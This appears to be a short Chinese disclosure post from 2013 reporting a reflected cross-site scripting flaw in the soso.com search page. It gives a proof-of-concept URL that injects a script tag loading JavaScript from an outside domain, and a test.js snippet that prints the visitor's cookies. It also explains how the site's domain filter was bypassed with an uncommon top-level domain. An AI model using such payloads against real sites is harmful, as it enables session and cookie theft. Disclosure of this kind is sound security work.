soso主站xss跨站漏洞一枚

浏览： ℃

字体：大中小

发布时间：2013-12-09 23:24:13

来源：

未对搜索的字符串做有效处理。虽然做了很多规则，比如HOOK了很多JS语法，检测到.com或.cn等js加载就返回到正常页面，但是，不常用域怎么不做过滤呢？

poc:

http://www.soso.com/q?w=r%3C/script%3E%3Cxstyle%3E%3Cscript/src=http://www.radio1.co.tz/test.js%3E%3C/script%3E

其中www.radio1.co.tz为注册的域名，这里我随便从网上找了一个co.tz的域名，然后本地host到127.0.0.1，test.js的内容为

document.title="hello world,soso!"document.write("<textarea cols=120 rols=70>"+document.cookie+"</textarea><br><br><br>");

修复方案：

你懂的！

>更多相关文章

首页推荐

东方联盟网培训质量如何?靠谱吗?

　　佛山市东联科技有限公司一直秉承“一切以用户价值为依归

相关文章

24小时热门资讯

24小时回复排行

热门推荐

最新资讯

网络安全

操作系统

黑客防御

站长知识